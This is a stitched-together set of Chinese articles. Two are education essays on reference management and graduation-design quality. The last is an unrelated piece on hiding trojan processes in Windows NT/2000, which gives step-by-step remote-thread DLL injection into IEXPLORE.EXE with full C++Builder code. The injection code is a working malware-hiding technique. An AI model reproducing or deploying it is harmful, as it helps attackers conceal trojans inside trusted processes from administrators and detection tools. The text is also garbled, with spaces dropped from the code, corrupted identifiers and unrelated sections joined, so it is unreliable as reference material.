在毕业论文撰写过程中,根据撰写需要,要对参考文献进行插入、移动、删除等各种管理操作。本科毕业论文的参考文献数量一般在20篇左右,而研究生毕业论文的参考文献数量可达100篇以上,对于如此多的文献,如果采用人工管理的方式,不仅工作量巨大,而且非常容易出错。通过专业的文献管理软件,可以非常方便地对参考文献进行处理。文献管理类软件有多种,如:医学文献王、风^-express、Endnote、Referencemanager、Notefirst等。不同软件有自己的特点和优势,重点推荐Endnote文献管理软件,当然像Notefrst这种推出时间较短的国内免费软件,也有不错的口碑。
以Endnote文献管理软件为例,应着重解决以下几方面问题:①参考文献格式标准;②创建End-note图书馆;③文献信息录入;④Word中使用文献格式模板设置;⑥高级应用。
3.本科毕业论文实践中的计算机应用指导
3.1 加强计算机教育课程建设
通过调整课程设置和课程内容,引入相关计算机教育内容。同时,提高教学质量和水平,加强学生计算机实践能力的培养。在《计算机基础》课程中,要将Office办公软件引入到课程中,并要达到一定的应用水准。在《试验设计与统计分析》课程中,可以引入Excel和SAS等软件知识。在《文献检索》课程中,可以引入Internet的使用,数据库查询和Endnote软件等知识。在其它专业课程中,凡涉及到计算机内容的,也要尽可能进行上机训练,提高计算机应用能力。
3.2 加强计算机专业知识讲座
通过专题讲座的形式,讲解毕业论文实践过程中所使用的软件知识。在毕业论文撰写期间,可以通过专题讲座,具有针对性地进行辅导。因此,学生可以及时的了解相关知识,并立即加以应用。除了现场的讲座形式外,还可以利用网络的优势,建立网上学习平台,将学习资源放在网络上,学生可以随时查询相关计算机应用知识。
3.3 加强计算机硬件建设
加大计算机硬件设施的投入力度,优化计算机机房管理,提高计算机利用效率。根据学校人数和计算机使用的实际情况,合理投入资金进行计算机房的建设,增加计算机的台套数。其次,制定合理的管理措施,适当延长计算机房的使用时间,提高计算机房的利用效率,减少计算机的非学习性占用。
3.4 加强指导老师的指导职责
制定毕业论文指导教师的考核体系,强化指导教师的责任意识,督促教师加强对学生的指导。从学校和学院两个层次,学校层次要做好毕业论文指导的全面工作,同时要对计算机应用指导工作提出明确统_的要求,学院则有必要对学校的规定做出具体的安排和实施办法。
毕业设计是所有工科人才培养方案中规定的重要实践性教学环节,高等职业技术学院也不例外。通过该环节的教学使学生能够综合运用所学理论知识分析、解决实际工程问题,初步掌握设计的一般流程和方法,在设计态度、工程思想、实践能力等方面得到系统的锻炼和提高,为步入工作岗位打下良好的基础。毕业设计的质量在一定程度上反映了学生的专业知识水平、工程素质以及综合运用各种知识的能力;也在一定程度上体现了指导教师的治学态度、学术水平和指导设计工作的能力;同时也从一个侧面表明了学校的教学质量和管理水平[1].尤其对于工科学生而言,毕业设计是他们走上工作岗位前的一次预演,应该引起足够的重视
1.当前高等职业技术学院毕业设计(论文)存在的问题
1.1 学生思想重视不够, 投入精力不足
由于目前就业形势严峻, 一部分学生忙于参加各种各样的招聘会和公司面试, 在毕业设计环节上投入精力甚微。毕业设计的时间与实习、顶岗或长升本(接本)时间重合,在两者不可兼顾的情况下, 多数学生都选择了工作或接本为主, 而不是做毕业设计。
1.2 选题不恰当
选题恰当是做好毕业设计( 论文) 的前提, 我院制订的"无锡商业职业技术学院物联网技术学院专科生毕业设计( 论文) 工作的若干规定"规定了选题的基本原则。
尽管如此, 但是选题不当的情况仍然时有发生, 表现在:(1) 论文题目大多由指导教师给定,学生并不感兴趣, 因此更谈不上对题目的意义有比较深入的思考; (2) 论文题目与学生的发展方向不一致。例如有的学生是软件方向的, 但指导教师指定的题目却是硬件方向的等等, 对于所用到的一些技术学生知之甚少; (3) 论文选题陈旧,图书管理系统题、学生管理系统等类似的题已经做了多少年了, 每年都在做, 又没有发展, 毫无创新性可言; (4) 选题脱离社会实践, 所使用的技术属于基本已经淘汰的技术, 对学生综合能力培养的帮助不大;
1.3 指导教师缺乏经验, 指导强度大
由于计算机专业发展比较晚, 具有丰富项目实践经验的老教师十分稀缺。而随着近几年计算机专业扩招, 高校引入了大批的年轻的毕业生充实教师队伍, 这些年轻教师本身充满活力, 敢想敢干, 不足之处在于他们多是毕业后直接从事教学工作, 实际的工程项目实践经验不足, 而计算机专业本身是一个实践性要求很强的专业, 没有这些实践体会, 就很难理解软件开发过程、软件技术如何应用到生产这些问题, 从而影响了毕业设计的质量;
1.4 毕业设计过程缺乏监督
一般按惯例, 指导教师与学生之间每星期至少应见面两次, 了解学生毕业设计的进展情况。然而由于受到学生找工作、升本(接本)等特殊情况的影响, 很难坚持下来。学生缺乏主动性, 不愿意主动找指导教师交流, 因此使得毕业设计的过程缺乏监督。
1.5 论文抄袭现象时有发生
我校对论文抄袭现象处置甚严, 这也是对学生实事求是的科学态度和严肃认真的工作作风的培养, 然而, 部分学生报着侥幸和偷懒心理, 往往将网络上检索到的多篇论文稍加修改, 重新组织加工, 从而就变成了自己的毕业论文。有的学生甚至一字不改, 原文照搬。
总的说来,目前有的高等职业技术院校的毕业设计(论文)工作中的主要问题是少了一点“规矩”,即使有规矩也是“老规矩”。对随着教育和教学改革的深化而出现的新情况遇到的新问题,缺乏深入的研究和及时的改革。
2.毕业设计(论文)的定位
计算机应用专业是一门综合性非常高的学科,该专业软件、硬件及系统的开发、应用、维护等工程领域,是一个纵向较深,横向较广的复合性、综合性专业。毕业设计(论文)是学生综合运用所学知识,分析、解决实际问题,培养独立思考、独立工作的能力,接受高等职业技术人员所必需能力的基本训练的重要教学环节。毕业设计(论文)首先具有教学与教育功能,是实现专业培养目标,对学生进行设计科学教育,培养探求真理的科学精神,强化工程意识,进行工程基本训练,提高学生科学研究能力、工程实践能力、创新能力和经济意识的重要阶段;是培养学生优良思想品质,进行综合素质教育的全面检验。其次,毕业设计(论文)成果具有直接或间接为经济建设服务,为生产、科研服务的社会功能。随着教育和教学改革的深化,对人才培养模式的改革,专业的拓宽改造,对人才培养提出了新的更高要求,我们更应高度重视毕业设计(论文)的基本要求和质量评价,使学生更清楚地知道怎样主动做好毕业设计(论文),使指导教师更清楚地知道如何对学生进行指导,使管理人员知道怎样抓住实质问题管理到位,以保证毕业设计(论文)的质量。
3.有关应对措施
3.1 加强学生思想教育
如何提高高校毕业设计的质量, 已成为一个日益引起教育界关注的话题。笔者陋见, 根本措施应当是加强学生教育, 使学生引起重视。其实多数高校和指导教师对于加强学生思想教育的重要性都深有体会, 但具体实施起来总觉得效果不如想象中好, 关键是在于“循循善诱”几个字。笔者今年指导的几个学生中, 也有个别学生对毕业设计重视不够,设计时敷衍了事, 做好毕业设计,是为了对自己四年学习划上一个圆满的句号, 也是对个人责任心的一次考验, 从而端正了态度, 主动性大大提高。
3.2 在毕业设计之前做专题讲座
由于学生都是第一次参加毕业设计, 所以对如何进入状态, 开始毕业设计工作, 如何查阅资料, 如何分阶段完成, 如何撰写开题报告和毕业论文, 如何对毕业论文的章节规划、内容安排和格式规范等知识缺乏认识, 因此在毕业设计之前有必要做专门针对毕业设计如何开展的专题讲座。
3.3 选题是关键, 鼓励学生到企业进行毕业设计
选题是整个毕业设计(论文)的核心, 正确、恰当地选题是做好毕业设计(论文)的前提, 应首先把好选题关。在我系首先原则上把一人一题作为选题工作的重要原则少数课题比较大时, 可以分成几个小课题, 但必须保证每个学生都是单独完成自己的课题,防止学生互相“帮忙”的发生。
毕业设计(论文)题目需经过教研室讨论、教研室主任审核、系主任批准。对于一些过易、任务过轻或所使用的是一些过时技术的题, 坚决要求进行重选。通过这些做法,保证了毕业设计(论文)题目的质量, 学生也反映良好。
开展学生毕业设计的一种新做法, 是让学生到就业单位去做毕业设计, 利用企业的经费、场地和技术力量, 完成企业需要的技术课题, 实行校企联合指导方式。一方面, 可培养学生工程设计和科学研究能力及团队合作精神, 使学生了解和掌握实际工程设计和科研的全过程;另一方面,工作单位的实际课题, 任务明确, 要求具体, 时间性强, 能激发学生的工作热情和主动性, 增强学生的事业心和责任感。同时, 便于用人单位和学生较早互相了解, 有利于学生就业后尽早地进人工作角色。我系目前对于这种新的指导方式正进行尝试和摸索,从目前的效果来看,很受学生和用人单位的欢迎。[2]
3.4 过程管理很重要
开题报告完成以后, 就进入了漫长的实际设计过程。要增强对学生的监督和督促机制, 防止学生偷懒。其一,要增强指导教师的责任感;其二,可引入现在一些软件公司常用的做法,要求学生写周报,让学生每周对自己毕业设计的工作进展, 取得的成果或碰到的困难做一次记录。这样既避免了学生临时报佛脚,不做设计只写论文的情况发生,又使学生的整个设计过程都有案可查, 增加了对毕业设计评分的合理性和公正性。[3]
3.5 如何杜绝论文抄袭现象
论文抄袭是学术界十分不齿的行为,应当给学生灌输这种思想。学生大多都是第一次撰写学术论文,一旦养成了抄袭的坏毛病,则日后对己对人都贻害无穷。一方面,应当将“对毕业论文抄袭进行严厉惩罚”写入到毕业论文的要求规范当中去,一旦发现,绝不姑息;另一方面,指导教师可通过耐心教导,击溃学生的侥幸心理,让学生明白,抄袭的论文是无所遁形的。
3.6 改善评判学生毕业设计质量
学生的毕业设计质量由两部分来衡量:
一是设计成果的质量, 包括软件的功能、所采用的开发技术、人机界面等部分组成, 可通过现场演示和答辩来评分;
二是毕业论文质量,根据课题完成情况和答辩情况由指导教师、评阅教师和答辩小组分别按毕业设计(论文)评阅、评审评分标准采用“结构分”进行评定,其中指导教师成绩占30%,评阅教师成绩占30%,答辩小组成绩占 40%
(1)指导教师评定成绩
根据指导教师评审评分标准从学生工作量、工作态度、技术方案、分析与解决问题的能力、设计(论文)质量、创新等方面进行评定。
(2)评阅教师评阅成绩
根据省教育厅的有关文件精神,要求每位学生的毕业设计(论文)必须由两位熟悉相应课题内容的教师(可以是外聘教师)进行评阅,评阅评分标准从毕业设计(论文)内容、学生工作水平以及论文撰写规范共同确定,每位评阅教师必须单独填写评阅表。
(3)答辩
成绩主要由答辩小组根据答辩评审评分标准从学生的报告内容、报告过程、回答问题以及学生在毕业设计 (论文) 中的创新等方面进行评定。毕业设计(论文)成绩按优秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五级分评定,其中优秀比例控制在 20%以内。[4]
关键字进程线程木马动态链接库
木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。
本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。
1基本原理
在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。
2实现方法
为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
3实施步骤
1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用
OpenProcess()函数打开宿主进程。
2)用VirtualAllocEx()函数分配远程进程地址空间中的
内存。
3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。
4)拷贝到步骤二已经分配的内存中。
5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。
6)用CreateRemoteThread()函数在远程进程中创建一个线程。
7)它调用正确的LoadlibraryA()函数。
8)为它传递步骤二中分配的内存地址。
4具体实例
下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//该头文件包涵了进程操作的API函数
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隐藏的DLL文件名
HANDLEhProcessSnap=NULL;//进程快照句柄
HANDLEhRemoteProcess;//远程进程句柄
LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放远程线程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失败返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//获取第一个进程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主进程,以IEXPLORE.EXE为例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
}
else
{
MessageBox(NULL,"取第一个进程失败","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打开远程进程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假设hide.dll是待隐藏的进程
intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申请存放文件名的空间
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名写入申请的空间
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//获取动态链接库函数地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//创建远程线
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//关闭远程线程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//关闭进程快照
}
该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。
至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//获取当前进程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
5结束语
进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。